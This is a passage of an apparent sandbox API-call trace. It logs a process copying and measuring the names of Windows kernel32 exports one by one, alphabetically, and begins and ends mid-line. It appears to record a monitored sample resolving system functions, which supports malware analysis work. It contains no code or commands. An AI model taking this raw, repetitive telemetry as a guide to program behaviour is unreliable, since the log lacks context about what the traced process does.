lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0138.264] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0138.264] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0138.264] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0138.264] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0138.264] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0138.264] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0138.264] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0138.264] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0138.264] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0138.264] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0138.264] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0138.264] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0138.265] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0138.265] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0138.265] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0138.265] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0138.265] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0138.265] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0138.265] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0138.265] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0138.265] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0138.265] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0138.265] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0138.265] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0138.265] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0138.265] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0138.265] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0138.265] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0138.265] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0138.265] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0138.265] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0138.265] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0138.265] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0138.265] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0138.266] lstrlenA (lpString="BEEP") returned 4 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0138.266] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0138.266] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0138.266] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0138.266] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0138.266] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0138.266] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0138.266] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0138.266] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0138.266] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0138.266] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0138.266] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0138.266] lstrlenA (lpString="CANCELIO") returned 8 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0138.266] lstrlenA (lpString="CANCELIOEX") returned 10 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0138.266] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0138.266] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0138.266] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0138.266] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0138.266] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0138.266] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0138.266] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0138.266] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0138.267] lstrlenA (lpString="CHECKELEVATION") returned 14 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0138.267] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0138.267] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0138.267] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0138.267] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0138.267] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0138.267] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0138.267] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0138.267] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0138.267] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0138.267] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0138.267] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0138.267] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0138.267] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0138.267] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0138.267] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0138.267] lstrlenA (lpString="CLOSESTATE") returned 10 [0138.267] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0138.268] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0138.268] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0138.268] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0138.268] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0138.268] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0138.268] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0138.268] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0138.268] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0138.268] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0138.268] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0138.268] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0138.268] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0138.268] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0138.268] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0138.268] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0138.268] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0138.268] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0138.268] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0138.268] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0138.268] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0138.268] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0138.268] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0138.269] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0138.269] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0138.269] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0138.269] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0138.269] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0138.269] lstrlenA (lpString="COPYCONTEXT") returned 11 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0138.269] lstrlenA (lpString="COPYFILE2") returned 9 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0138.269] lstrlenA (lpString="COPYFILEA") returned 9 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0138.269] lstrlenA (lpString="COPYFILEEXA") returned 11 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0138.269] lstrlenA (lpString="COPYFILEEXW") returned 11 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0138.269] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0138.269] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0138.269] lstrlenA (lpString="COPYFILEW") returned 9 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0138.269] lstrlenA (lpString="COPYLZFILE") returned 10 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0138.269] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0138.269] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0138.269] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0138.269] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0138.269] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0138.269] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0138.269] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0138.269] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0138.270] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0138.270] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0138.270] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0138.270] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0138.270] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0138.270] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0138.270] lstrlenA (lpString="CREATEEVENTA") returned 12 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0138.270] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0138.270] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0138.270] lstrlenA 